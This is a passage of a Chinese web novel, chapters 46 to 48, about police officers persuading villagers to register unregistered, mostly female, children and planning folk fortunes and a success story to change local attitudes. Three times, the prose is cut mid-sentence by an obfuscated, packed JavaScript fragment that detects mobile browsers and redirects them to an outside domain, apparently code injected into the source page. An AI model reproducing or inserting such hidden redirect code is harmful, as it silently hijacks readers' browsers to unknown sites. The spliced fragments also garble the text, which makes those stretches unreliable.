之前警察们抓的都是杀人偷盗的事情,怎么就管到这种事情了? 村子里也有一些人,她家里同样也是超生,自己家孩子全都上了户口,现在看到村子里这个情况,头两天是看热闹,毕竟事情又没发生在自己身上,当然热闹。 后面,这些人便自觉自己好像有一份责任,要出来说说公道话。 “警察同志,你们都急得嘴巴冒泡了。”女人来说话时,还泡了一壶金银花茶过来,给三个警察喝,先拉近一下关系。 云松知道这个女人,毕竟这几天都在村子里。 女人住在村校旁边,她们家开了一个小卖部,家里三个女儿,全都上了户口。 佟锦也知道,还以为对方会是来帮忙的,于是说道:“肯定着急,今年把事情解决了,孩子们该上学的好上学。” 女人道:“其实你们不用担心这个,村校读书都不用户口。只要你给了点钱,然后就能读。” “只是后面要读初中的话需要户口,但我们这个村头啊,考不出来初中的孩子。” 云松说道:“要是有户口的话,这么多孩子总归会考上一个,下面有个三里村,她们家独生女,今年就考上了初中,现在已经在初中读书了,听说成绩很不错。” 佟锦也说道:“对啊,她这种就多亏是独生女,家里就这么一个孩子,每天也不会让她干重活,她也就有时间多读书。” 女人听了这话,只摇头,说道:“这怎么行啊,只有一个女儿,以后怎么办?” 她自己虽说也没有儿子,可心里头也有盘算,说道:“我三个女儿还好点,到时候就看姐妹三谁愿意留下来招上门女婿,这样一来,就跟养儿子差不多,只有一个女儿,就算是会读书,到时候嫁了人怎么办?到时候养了娃儿二十年,一回家,屋头空荡荡的,啥子都没得了。唉——” 云松并没有反驳什么,这里的人长大过程中,想来是看到过这样的事情。 也许是是她们没有反驳,让对方觉得还能再说说,于是继续说道—— “这也是没办法的事情,你们是城里头的人,不知道村子里没有儿子不行,不只是没有儿子不行,就是儿子少了,也不行,要多生几个儿子才行。” 她开始举例子:“你家没得儿子,就有那种人家,专门来占你的地,而且,现在分了田下来了,女娃儿虽说也能分到田,但一嫁人,这田就要收回去了,唉……” 云松想起了长桂家的事情,想起了她们家姑娘当初嫁人的时候,把户口保留在自己家,最后不把田退出来的事情。 佟锦忍不住说道:“那生孩子不就是纯粹的图个利益吗?” “养儿防老积谷防饥,这都是老话,你生个娃儿来,肯定还是想要他给你送终啊。” 三个人都不是这种环境里长大的人,让她们三个人完全理解这种思维战胜从小到大知道的父母子女关系,还是有点难度。 于是,女人开始了给三个警察洗脑—— “再说了,现在的娃儿,真的幸福啊。” 每一代人自己吃过苦,都觉得自己最苦,下一代过得这么好,不知足。 “现在这些娃儿,不管有没有户口,都吃得饱饭了,像我屋头那三个娃儿,今天早上还在说洋芋饭不好吃,天啊,我们小时候要是有洋芋饭吃,不晓得好高兴。” 这一代的父母大多数出生在六十七十年代,她们觉得自己小时候才叫真的苦。 “那个时候家里大人要去集体生产,于是我们还没得灶台高就要烧火,还要喂猪喂牛砍柴,一点大就,手上全是茧。” “我们那个时候书就更莫想了,最多就认个字。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886181|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在的孩子幸福多了,还能去村校读书。 她说了这么多,云松忍不住问道:“你当时为什么会给三个孩子都上户口?” 说起这件事啊,女人有些骄傲,说道:“我们这个村校是七八年前修起来的,用的是我家的地,当时还是我们的祖坟,我奶奶,我爷爷,就埋在村校这里,别人是祖坟冒青烟,我是祖坟冒学校,那我的娃儿肯定要出个大学生!” 这无法复制的理由。 总不能把家家户户的祖坟都变成学校吧? 那边,有个孩子过来喊她,“老板!我要买东西!” 女人赶紧往回走,一边走还一边说:“你们也别急,不管有没有户口,其实都差不多。” 她走了以后,唐朝忍不住说道:“她们这些都是思想问题,咱们就不能直接杀鸡儆猴吗?只要抓一个过分的,到时候,其他的肯定会害怕。” 她们好歹是警察,真要处理这个问题,真的不难,怎么就被这件事情难成这个样子了? 云松道:“因为我们一时半会没有办法改变他们的思想。我们现在可以狠一点解决这个问题。” 比如说打疫苗问题,这里是绝对能弄清楚到底有多少孩子是黑户。 如果只看结果,那一共就这么几个村,送来送去就是这些村子,这些孩子藏不住。 可一旦这样干了,村民的思想依旧没有被改变,他们依旧要生儿子,于是生下来的女儿待遇会进一步下降,只要这一次她们用了打疫苗的信息,这些父母吃了“教训”,后面所有的超生孩子都不会送去打疫苗了。 “现在杀鸡儆猴,村子里的人对付不了我们,他们还对付不了家里孩子吗?不说杀这么极端的事情,就是把孩子带到香金镇那边扔了,或者放在河边不管,带到悬崖边上,这后果就不是我们能承受住的。” 云松说完这话,她们继续去下一家,跟人家继续磨。 这一家是大女儿十岁,二女儿六岁,三儿子三岁,老二没有户口,老大和老三就直接上户口,因为符合政策,并没有罚款,她们询问的时候,这家也是说是亲戚家的。 现在,她们一到,就听到人家说道:“娃儿啊?莫子娃儿?我屋头一直都只有两个娃儿,你们是不是记错了?” 46.她们说我能诅咒人(十五) 第四十六章 上户口这件事,村子里的人在想办法了。 不想办法不行,警察这样一直来磨,一天说八百遍,谁都要烦躁。 村子里没有秘密,一部分人在为上户口焦虑,那另一部分热心肠的人就开始出主意了。 这种人群聚集的地方,总归会出现一些歪点子特别多的人。 “办法肯定是有,既能把超生的女娃都上户口,又能不给罚款,但不是我说你们,你们现在催起来才开始想办法,我们大多数办法都是要在生下来没多久就去做。” “你们先说,这一次用不上,下一次也能用。” “第一个娃儿就正常上户口就行,你们生第二个的时候,要是不符合政策,你们就放聪明一点嘛,看村子里有没有其他人在生第二个符合政策的孩子,自己村子没得,就去问别人村子,反正只要年纪挨着的,不超过三个月,你们就带鸡蛋,米啊,抱一个老母鸡,去跟人家说一下,问她们能不能把两个差不多大的娃儿放在一起上户口,上成双胞胎,户口上别人家里,这个又不妨事,又不让人养,到时候娃儿还是在自己家养,哪个不同意?” 一个村子里的人,只要没有大仇,这种事情都会同意,毕竟自己后面也会这样求人。 这事在村子里是真的行得通,毕竟村子这种小型社会靠的不是法律,而是人情,也不会存在户口上在人家家里,以后还分人家财产这种事情。 “哎哟,这你们怎么想到的啊?”听的人真的是听得直拍脑门,这么好的办法,怎么就没有想到。 “这个事情说起来还真的是好笑,当时这两家的婆婆在河坝里洗衣服,都在说这件事,一家愁娃儿户口上不了,一家愁家里揭不开锅了,张家那个常芳也在洗衣服,她起先闷着没说话,大家说完了以后,她突然说了一句,这还不简单,没有名额的,你们给人送点米,送个母鸡,然后两个孩子直接上成双胞胎,占用一个名额,反正你们又不在乎孩子户口在哪儿。”那个女娃也可怜,她是第一个孩子,怎么都能上户口,但她家里为了后面生儿子不花钱,死活不给她上户口。 “这个我们现在用不了了吧?” “所以说也是你们自己不上心啊,这种事情最好在孩子怀着的时候就到处打听,娃儿生下来就赶紧去做,那就刚刚好,现在家里娃儿这么大了,就算是有差不多孩子大的人家愿意,大队上肯定也不傻,怎么上户口?” “我们哪里知道后面还能催这么狠,你再打听打听,有没有其他办法?” 别说,还真有。 私下里,大家已经开始传其他的方法了。 ——“有没有那种单身汉,自己没得娃儿,你们给他杀个鸡子鸭子,带点酒,拜个干耶,直接把户口上在人家名下。” “这种不得行,我们村子里的那个单身汉是个麻麻赖赖的人,拜了这种干耶,到时候也跟着学怎么行。” “我们村子还有一个办法,就是老李家的老三,当时生下来了,不符合条件,结果她们家说娃儿生下来就没了,大队肯定不好说什么了,两口子也去了城里,结果过了几年,就看到人家从城里带了一个几岁大的女娃儿回来,大家才知道,她们扯谎,这种谎,你一说,也没人怀疑。”这事的后续是,当时为了不上户口去了城里,结果在城里待了几年,长了见识,回来就一定要上户口。 可是大家也没有时间带孩子去城里躲躲,家里这么多田地牲畜,一天都离不得人。 不过,还是出去躲躲这个办法可以用上,但去其他村子没用,毕竟这几个警察是来来回回都在这几个村子。 “我看,不如让村子里几个大一些的娃儿带着小一些娃娃去山里躲一段时间,不要在村子里,等这个风口过去了再回来,我不信她们要追一辈子这件事,肯定两三个月就过去了。”到时候只要这几个警察不来了,娃儿们就又回来。 村子里的黑户不只是几岁的孩子,也有十来岁的孩子,本来还在睡觉,梦里全都是能够卖钱扒岩姜,结果就被父母叫了起来。 “这段时间你和你三妹不要在家里了。” 啊?做噩梦了?爸妈终于不要她们了? “你们两个跟着你们四婶屋头的玉儿姐还有你们二表姐,还有村子里一些娃儿,你们一起去山里住一段时间。” 诶?诶?诶? 这些十来岁的孩子这段时间累得像陀螺,因为家里的活得帮忙干,不仅如此,她们还要抽时间出来去挖药材。 最开始她们割的艾草臭蒿卖出了钱,拿到了钱,每天的日子特别有奔头,天天就想着挖药材,想要挣钱,做梦,梦里都是艾草,都是扒岩姜,老虎姜…… 可她们的时间也不全是自己的,每天又是割猪草,又是打柴的,哪有那么多时间给自己挣钱。 现在,她们父母说:“你们去山里躲一段时间,背上铺盖,住在山洞里面,你们也莫怕,一早一晚,我们会有大人上来给你们送饭。” “先躲一下警察,晓不晓得?” 晓不晓得? 也就是说,不用割猪草,不用砍柴,连做饭都不用,一整天,都是她们自己的时间,她们可以去山里挖药材挣钱……一整天! 旁边,有户口的是家里的老大,立马说道:“不得行,我也要去,我要照看妹妹们!” 一整天,不用干家里的活,全在山里挖药材!她也要去! “你不能去,屋头的活还要有人帮忙,而且你还要送饭给你妹妹们。”母亲说道。 气人。 于是,天还没有亮,这群半大的孩子就背着自己的铺盖,带了喝水的碗,和平时的生活用品,去了山里。 这边的山里有老虎姜,山顶的悬崖上全都是扒岩姜,之前大家就想要去弄,但时间不够,现在就是大把大把的时间了。 于是,当云松几个人来的时候,问到的就是孩子们不见了。 云松第一反应就是孩子们又被送去了亲戚家,但村子里的黑户齐刷刷地一起不见了,这就很奇怪。 三个人都开始着急了,实在是担心村子里的人对孩子们下手,好在孩子们也不是什么听话的。 对于这群去山里的娃来说,挣钱才是最重要的事情,而今天除了是警察上来,还有她们的老板常芳来收药材。 她们到山里挖的老虎姜,正好就可以卖给常芳。 常芳知道了,云松自然就知道了,她跟着一起去了山里,正好就遇到了这群孩子挖完了老虎姜,准备去悬崖边挖扒岩姜。 这边的悬崖不是那种裸露石块的峭壁,而是覆盖着一层绿油油的植物,这个植物就是中药材爬岩姜,这里的人叫的是扒岩姜。 孩子们理所当然地觉得自己能吊着绳子下去摘。 云松到的时候,她们已经兴致勃勃地到处砍藤条做绳子了。 云松看着这个悬崖,再看看这些孩子,她觉得自己心脏都快跳出来了。 “藤条……”佟锦也不知道说什么了。 常芳作为老板,她也吓到了,反正钱是挣不完的,她赶紧说道:“我这一次上来就是来跟你们说,镇上不收扒岩姜了。还好来得及时,要不然你们就白弄了。” 云松也缓了过来,赞扬地看了一眼常芳,对这些想要挣钱的孩子们说道:“也不用可惜,到时候还能想其他办法挣钱。” 她这段时间的重心都在这些孩子的父母身上,实在是疏忽了孩子们的情况。 不管怎样,都不能让她们待在山里。 于是,几个人又把孩子们送回去。 这一次回去,村子里的人意见就更大了,于是三个人又是接收了一大堆情绪垃圾。 下午,三个人还得走路回镇上,就是最苦最苦的训练生活都没有现在苦。 佟锦一回家,倒头就瘫在床上,面无表情地望着天花板,对自己的职业生涯感到了前所未有的怀疑。 对面床的唐朝从进寝室开始收拾,换鞋子,倒水,洗脸,最后把衣服裤子换成家里穿的衣服裤子。这才瘫在床上。 云松没有回寝室,她在隔壁的办公室,开始整理这段时间的资料信息。 “不能抓人,不能跟人争执,我们真的是世界上最憋屈的警察了……”佟锦忍不住感叹道。 “不对,云姐才是,云姐今天被人说她这么卖力,这一趟差事下来,肯定要挣几万块钱。” 云姐现在估计憋屈死了。 云姐不憋屈,她只是在看这些村子的情况。 通过谈话和观察,村民们对于男娃的渴求其实是来源于现有的社会制度下,生女儿吃亏这一套理论,中间还夹杂着一些说不清道不明的心理创伤。 这其实是很多人没有看到时代改变了。 她也注意到了村子里的人多少都会有些信命,每次跟人说,孩子有了户口,才能读书上学,才有机会去更好的地方发展。 大多数村民都是一句话怼回来:“我们这里的人,没有那个命。” 她想起了常芳对命数的执着。 云松开始翻看这些命数的书。 这里的人好像最信的是“袁天罡称骨”,可能是因为这个人是成都人,所以对同林镇影响很深。 这个称骨太复杂了,不方便传播。 她自己小时候还听过一个指纹相关的命数—— “ 一螺穷,二螺富,三螺四螺开当铺,五螺六螺会存钱,七螺八螺考状元,九螺十螺享清福。” 这个…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890210|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行,万一有孩子是一螺呢?到时候这个指纹歌里面,就一螺最倒霉。怎么迷信还搞上了孤立霸凌? 得改改。 云松找到了唐朝和佟锦,把自己的新计划告诉了两个人。 “所以我们这段时间来编一些命数相关的东西,传出去。” 可算是有新的方向了,佟锦一下子就爬了起来,她现在最怕的就是去村子里,接受村民们一遍一遍地说还是要生个儿子之类的话,听得头疼,不是夸张,是真的头会疼。 “我小时候流行这个指纹命数。”云松把指纹歌念了一遍。 唐朝:“写出这个命数的人是不是有个一螺的仇人,这都不是一般针对只有一个螺的人。” “所以我们要改个字。” “那一螺勤?勤快的意思?行不?”唐朝说道。这里肯定是要填一个字才顺口。 “一螺勤,二螺富,这两个连在一起,我总觉得二螺是一螺的老板,一螺勤快了,所以二螺就富有了,我要是一螺人,我会觉得我命很苦。”佟锦念了一遍,然后低下头去看自己的指纹。 “螺是圆圈对吧?” “对。” “……我还真是一个螺!快快快,快给我改个好的命!” “那福怎么样?有福气的意思,一螺福,二螺富,声调不一样,但是也很顺口。”唐朝说道。 “这个可以耶,有福气寓意也好。拿到了一螺也不用觉得自己命不好。” “那就定这个字。”云松拍板定下来。“肯定还有没有螺的人,到时候就说是命数要靠自己的稀有人才。” 三个人又开始研究脸上的痣,哪些痣代表着大富大贵,哪些痣又能考大学,反正只要是好的,全都记下来。 三个人都干劲十足,毕竟现在她们编出来的越多,后面就有越多的孩子被植入一种自己生来就有好命的信念。 光是命数这些肯定不够。 这一代当家做主的村民,长在六七十年代,那个时候是国家困难时期,村子里的人的上升渠道太小了,去城里工厂打工都得要介绍信。 很多人都觉得自己命里就是这样一辈子了,也接受自己的下一代这辈子都是在村子里。 云松编的这些命数相关的东西,对孩子影响肯定更大,但大人们估计还需要下一剂猛药。 如果只是说命数好,没有看到实实在在的好处,估计很难撼动那些陈旧的思想。 要怎样让这些人看到实实在在的好处? 要直接看到了别人获利了,人们对于自己能够接触到的人获利感触会更大,因为会给人一种他家里可以,那我家里也可以。 晚饭的时候,云松三个人去教师食堂打饭,和初中老师们一起吃饭,聊起来这件事。 “有没有那种家里条件不好,最后自己上了光荣榜的女学生?”超生未上户口的,多是女娃。 同林镇初中的前身是私塾学校,后来变成了镇初中,两边的百合镇和雨兰镇的孩子都是过来读初中,学生太多,教师不够,导致进校成绩不错的一群孩子,进入初中后很难和城里的高中竞争,可无论怎样的环境,都会有强者冒头出来。 学校外面墙上贴着的光荣榜便是这些年考上一流大学的学生。 同样的情况,也适用于这种穷地方的女娃们,无论多困难的环境,一定有女娃能冲出来。 “你们要听这个啊,我给你说一个,绝对够格,那上面排第一的那个女娃子,雨兰镇那边考过来的,当年她不来读初中,还是我和校长去她家里接的,这个娃儿啊!”老师说起来整个人眉飞色舞。 作为教师,最快乐的事情莫过于得遇天才而教之,这种学生,遇到一个,真的能吹一辈子。 更快乐的事情是这个天才还是自己一手挖出来的。 “当时是我催着校长过去,因为这个孩子不是雨兰镇的镇上小学出来的,她是雨兰镇一个村校出来,那地方穷得很,村校一般就一个老师,教全科,就只是让村子里的孩子们认个字,她字还丑,但她是雨兰镇那边的第一名,加上同林镇也是第三名,前两名都是同林镇初中附属小学的学生,可不要小瞧这个第三名,这个孩子的扣分全在语文,一方面是字真的太丑了,另一方面是因为语文里有些东西孩子不知道就是不知道,这个智商补不了,她数学是满分,我当时一看就觉得这个孩子绝对是天才,开学后,她没来报道,我立马就催着校长过去请。” 可能是因为孩子是雨兰镇的人,同林镇这边不够了解她的家庭背景,几乎每一代学生都知道这个传奇,可在镇上没有大规模传播开。 云松听着这个女孩子的故事,心里有了一个大概的方向。 迷信,利益,两剂药,双管齐下。 47.她们说我能诅咒人(十六) 第四十七章 十五年前,雨兰镇的大水潭上面有了一户人家,家里有四个女儿,大女儿和三女儿符合政策,上了户口,老二和老四都没有户口。 村子里其他孩子送去村校读书的时候,家里的大女儿也被送去村校读书,可孩子是真累,每天要去村校读书,中午翻几座山回来煮红薯饭吃,吃了饭,要再翻几座山去上下午的课,放学后还要割猪草割牛草。 三年级的时候,老大终于累垮了,她往猪草堆里一倒:“太累了,我不读了。” “你也是不识好,有书还不愿意去读!再怎么说也要把这学期读完,钱都已经给了。”她妈舍不得那个钱,又拉不下面子去退钱。 大姐一想,还要继续吃这种苦,整个人就抹眼泪,这个时候,正好二妹进门,二妹是那种很闷的性格,平时看蚂蚁都能看一两个小时。 “二妹去替我读吧,二妹总要认字。”村校管得不严,本来就有两姐妹轮着来上课的例子。 以后,她和二妹妹用一个户口读书,这样一来,后面三妹妹和四妹妹可以用一个户口读书。 这事就这样定下来了。 二妹也不反对,她依旧闷闷的,第二天就去了学校,让人怀疑她可能什么都学不懂,尤其是第一天回来的时候,她写的字跟鬼画符差不多。 大姐也没当一回事,反正也就是去学校认个字,不要浪费一学期的学费。 大姐现在每天只需要干农活,不需要去学校了,比以前轻松多了。 期末考试的那天,二妹妹和往常一样回来,依旧不怎么说话,也没说考试的事情。 直到第三天,大姐出门遇到了学校老师,这才才知道,二妹妹期末考试考了班上第三名。 “我先改了语文卷子,你妹妹刚及格。”村校的老师姓刘,刘老师说起来都忍不住感叹:“那个字太丑了。” “刘老师,刚及格就班上第三啊?”大姐好惊讶,她以前也是刚及格的成绩,早知道不走了。 刘老师说道:“然后我改了数学卷子,你妹妹满分。我回去又看了一遍语文卷子。” 这才发现她这个字写的有点丑,第一遍看的时候没认真看,直接打了叉,现在认真一看,很多地方都是对的,于是重新改了分数。 总分就变成了第三名。 “你妹妹比你能干,是个能读书的,你让你爸妈送一下你妹妹读书。” 大姐自己去读过书,自然知道这是什么意思,她当初一年级期末数学都没有考满分,妹妹还不是从一年级开始读,她是满分。 那妹妹真的很能读书了。 她们家有一个能读书的了?简直是天上掉馅饼! 于是,家里读书的名额就给了二妹妹,因为没有户口,所以一直用的就是大姐的户口。 现在,同林镇初中的老师回忆起来,都能想起当时她知道这个孩子三年级才入学的震惊。 “她话很少,但真的是……文曲星下凡的程度,中考的时候,她考到了我们平城前二,第一比她高两分,但第一的裸分没有她高,第一是有独生子女的10分。因为这个原因,她没有拿到中考状元,我们现在还在觉得可惜。”那是同林镇初中距离中考状元最近的一次,平城城里和乡镇的教育资源差距太大了,尤其是她们这种镇上,很多学生回家还得干农活,也正是因为这种差距,冒出了一个这样的学生才引人注目,当时整个平城都在说这个乡镇初中冒出来的第二名。 “好在,当时平城几个高中都是出钱要她,具体多少钱没有公布,但肯定不是小数,最后是一中那边最聪明,不仅给钱,还包了她高中三年学费住宿费和伙食费。” “我们初中也在等她高考,她高考发挥也很稳定,直接去了清华。” 反正在老师心目中,她是样样好。 “她对家里人非常好,她中考后有了钱,让她姐姐去读了专科,现在在雨兰镇那边的镇卫生所里当收费员,两个妹妹都读了书,她们家里有电话电视机,全都是她买的。” “我听说,就是因为这件事,雨兰镇那边超生严重,但她们的黑户口没有同林镇多,女孩子入学率也比我们这边高。” “不对啊,她是同林镇初中考出去的,在这边待的时间也有三年,怎么对同林镇影响不大?”佟锦有些奇怪。 “可能是同林镇这边的人没见过她的成长环境。”老师说道。 人们渴求的东西永远都是身边能看到的,大家都知道城里人过得好,可谁也不会觉得自己能过上城里人的生活。 可这家人不一样啊! 老的一辈见过这家人的这对父母的过去,要知道,这两个人,一个年轻的时候跟个二流子一样,到处逗猫惹狗,从小就被父母追着打,娶媳妇儿都差点娶不到,另一个跟人吵架,吵得十村八店没有一个不知道她的泼辣。 她们怎么养孩子的,大家也看在眼里,这两口子也是一个萝卜一个坑了,两个人都不勤快,干活也不麻利,所以倒也不吵架,就是孩子吃苦。 家里经常缺粮食,尤其是青黄不接的时候。 那个时候,包谷还没有成熟,红薯还只是秧秧,锅子里实在是没有吃的。 于是这两口子就把屋头留种的洋芋种拿出来,洋芋上都长了手指长的芽子了,还是弄给娃儿吃。 下午的时候,大家砍柴回来,从他们家门口路过,就看到这四个娃儿中了毒,在家门口坐了一排排,然后低下头,开始流清口水,很快就倒在了家门口,像四只中了毒的可怜鸭子。那两口子则是中毒倒在家里 大家赶紧把她们送去卫生所,卫生所安排催吐,这才慢慢地缓过来。 真的,哪怕是现在这家人风光了,很多人脑海里都依旧保留着这一幕。 村子里不少人都看不惯她们把娃儿养成这个样子!当时就有一些人给她们送了一些包谷面。 再说说这个考上大学的女娃子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894827|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,村子里哪个没见过她大冬天光着个脚杆,去油菜地里掰油菜叶子,谁没见过她和她姐姐偷吃家里的梨儿,最后两个娃儿跪在门口挨打? 怎么就成了文曲星下凡了?要是文曲星下凡是这个样子,那自己家里的也有可能吧? 这孩子,真的,左看看右看看,感觉跟村子里其他女娃子差不多。 而且一开始都不准备让她读书,要是那个时候,她大姐没有说让这个娃儿去读书呢? 现在,这家人硬是出了一个大学生,然后全家人过得都好了起来,这两口子家里牵了电话线,人腰杆也硬了起来,村子里谁要和外面打工的家人联系,都要去他家打电话。 电话是二姑娘买的,话费也是她给,她说要感谢村子里的人在她小时候的帮忙,所以打电话接电话都不要钱,这两口子倒也听话,不要大家的钱。 两口子也不缺钱了,一到赶集日,两口子还要去买猪肉买水果,经常是拿背篓背,什么香蕉苹果,饼干糖果,要多少有多少,人也大方,村子里其他娃儿去她们家,都会给点饼干糖果。 她们说起来就说二女儿争气,说自己当年如何如何供二女儿读书,多有眼光。 大家嘴上都是敷衍着说:“是啊是啊,还是你们有眼光,你们命好啊!” 实际上,谁心里能平衡?凭什么啊!他家什么情况,别人不知道,大家伙不是看在眼里吗? 谁看自己家的娃,能不想一下自己家里会不会也有这么一个娃儿?但被自己耽搁了? 这些年影响下来,雨兰镇因为这个孩子,无论是超生还是非超生,基本上都要去读书。 读书的女娃子基数一大,能读书的立马就会被筛选出来。 尽管没有再出现像花京那样的学生,可对于这个地方来说,考上初中是一次荣耀,考上高中又是一次荣耀,最后只要以后不用再面朝黄土背朝天地干活,也算是一种改变命运了。 雨兰镇原本没有自己的初中,都要往同林镇这边考,这些年考过来的学生越来越多,雨兰镇也有自己自己的初中了。 同林镇人对这家人不够了解,只知道同林镇初中曾经出过一个天才学生,可谁也没有亲眼见过,只觉得这个孩子肯定是可遇不可求,跟普通的孩子不一样。她们家的家长肯定也和普通人不一样。 谁也不会觉得自己孩子能和这个孩子一样,也不会拿自己和这家父母比较。 自然没有引起多大的关注。 云松给当事人打了电话,说了自己这边的情况,想要借用一下她的事迹。 那头的人并不像大家说的那样沉默寡言,轻笑道:“用吧。我愿意我爸妈拿我来炫耀也是这个原因。” “不过,你们在同林镇,用的效果可能没有那么好,毕竟你们镇上的人不认识我爸妈,大家不会产生那种他们那样的人都可以过上好日子,我家为什么不行的想法。” 云松琢磨着,这的确也是一个问题。 48.她们说我能诅咒人(十七) 第五十章 警察们忙活警察们的事情,常芳依旧在忙活自己的事情。 她和妹妹住在初中的宿舍,妹妹白天在幼儿园,下午她从山里回来,顺带就接回了妹妹,周末两天,她带着妹妹上山,便放在猫头山的老婆婆家,老婆婆短暂地做了幼儿园老师的代班。 常芳本身也只有十七岁,人生经验来源于寄住的亲戚们和村子里的众人,她并没有学习做生意的经历, 于是,在最开始,她就是哪些药材贵,哪些药材多,她在镇上的药店里认识了,回到村子里,就去教村子里的孩子们,让她们赶紧去挖。 平常大家上山下河,挖地砍柴,哪一样都和挖药材差不多。 那个时候,她并没有想太多,毕竟在她的成长环境里,没有危险这个概念。 她大姨家,二姨家,三姑家,住在三个不同的村子,十岁的时候,她就需要自己一个人搬家,那个时候,从大姨家过来,要翻过一座山,那里有悬崖,那个时候,她很喜欢站在悬崖边上,去看崖边的一棵野百合。 她脑海里并不觉得危险,反而每次都觉得很刺激很开心,直到前天,她和警察们一起上去,村子里一大群孩子为了扒岩姜要去悬崖上采,她当时只是敏锐地感觉到不太好,赶紧说了扒岩姜不收了。 她时刻注意着警察,担心自己会因为这件事被警察嫌弃,结果,她就注意到,三个警察的脸色一直惨白。 常芳看得出来,她们还是被吓到了,平时什么都不怕的警察,因为一群孩子在悬崖边上,想要挖药材,被吓到脸色惨白。 便是这个时候常芳才慢慢的理解到—— 原来这种环境很危险,原来大人应该像这样担心孩子才对。 她无法避免地想起了自己的过去,想起了在自己过去生活中出现的那些大人们。 过去,她总觉得脾气好,说话温和的二姨对她最好,大姨和三姑,两个人都喜欢骂她,对她不好。 可现在,她想起了更多的事情。 其实最喜欢骂她,骂她妈,骂她爸,骂她奶奶,全家一个都没有落下的三姑,可能才是对她最好的人。 三姑本来就讨厌她的爷爷奶奶,也讨厌她爸妈,可她还是在大姨二姨都不要她的时候把她收下了。 读书这件事,也是三姑顶着三姑父的骂声,把她送去村校读了书。 还有后面她要回大姨家,三姑也送了她。 大姨养自己时间最久,不管怎么说,没有功劳也有苦劳。 二姨就算了,常芳现在是想明白了,就算自己那个时候不去二姨家,二姨的大儿子依旧会带着小儿子去池塘捞螺蛳,人还是会死,那个时候村子里肯定会说是大儿子害死了弟弟,现在她帮大表哥背了这个罪名,那她就不再想对二姨好了。 这种迟来的感受,让她心里很希望能够对三姑好一点,她想要让三姑明白,对她好是有回报的,让三姑庆幸当初对她好。她心里隐隐也存着一种报复心理,想让人当初对她不好的人后悔,后悔没有对她好。 常芳的钱看得不紧,就像第一次挣了钱,她就能拿钱给妹妹上幼儿园,平时妹妹每天还有一毛钱的零花钱。 于是,下一次上去的时候,常芳给大姨和三姑家一家背了一块五花肉,大刀切出来的猪肉,肉肥皮厚。 “三姑——”常芳到的时候已经快中午了,三姑也从山坡上回来了。 三姑这段时间脾气好一些了,也许是她心里的仇恨找到了真正的出口,当她冲着她的母亲问出那些心里话时,她的仇恨就得到了宣泄,于是她不再向着自己的孩子发脾气。 她慢慢地开始意识到,过去对常芳的抱怨,对常芳的看不惯,来源于她讨厌弟弟弟妹这两个人。 可人要体面,不能撕破脸,所以她对她们的不满就一直压着,最后全部都倒给了常芳。 她意识到这一点以后,又去了一趟娘家,把弟弟骂了一遍,心里头舒坦多了。 现在看到常芳,她整个人果然平和了很多,也不会觉得不舒服了。 过去,无论骂多少次常芳,都没有这个效果,而且那个时候骂得越多越狠,她好像心里的愤怒就越多。 “三姑,我给你送点肉来。”常芳一边说一边放下背篓,道:“今天赶场天,正好杀猪匠杀了猪。” 她像个大人一样,开始处理自己的人际关系,尽管还有些不熟练,可她感觉到很舒服。 隔壁邻居一直在看呢,看这个被警察带走了的女娃。 这个村子有好几个孩子会给常芳提供药材,可这里的大人对这一切一无所知,于是大家只知道常芳经常跟着警察去几个村子,并不知道她现在在做什么。 大家其实也没有指望她能做什么,毕竟在大家印象里,她还是那个被父母送走,在几个亲戚家轮流寄宿的可怜女娃。 现在见常芳回来了,这姑娘好像变化不小。 “你那个侄女来做什么?” “给我送猪肉。” “乖乖,这么大一块猪肉,要不少钱吧,她哪儿来的钱?” “她哪有什么大钱,就是小孩子过家家,挣了一点钱,这个肉我给她熏着,等后面再给她。” 邻居听了直咋舌,看不出来,以前常芳在这里的时候,就是个锯了嘴的葫芦,现在居然有钱买肉了。 稀奇了! 另一边,云松一行人又在三人会议。 “花京说得没错,没有看到她,她的事情在同林镇可能用处不大。”佟锦说道。 “同林镇自己也有自己的人才宝库,要不然直接从自己这里选?” 不见兔子不撒鹰。 唐朝道:“其实咱们也有一个非常好的人选。” 她没有直接说,但云松知道对方说的是常芳。 常芳,没有户口,现在挣了钱,还把妹妹送去幼儿园读书,又是在同林镇村子里里长大。 云松摇头:“大规模传播常芳的事情,对常芳并不是好事。” 云松考虑过后,决定还是宣传雨兰镇这位人物,她削弱故事中比较复杂的部分,比如说学校相关的东西,强化这个事情中大家熟悉的那部分。 比如说,老师和校长去学生家里接人。 要知道,同林镇这个初中,以前是雨兰镇,同林镇和隔壁百合镇共用,导致学 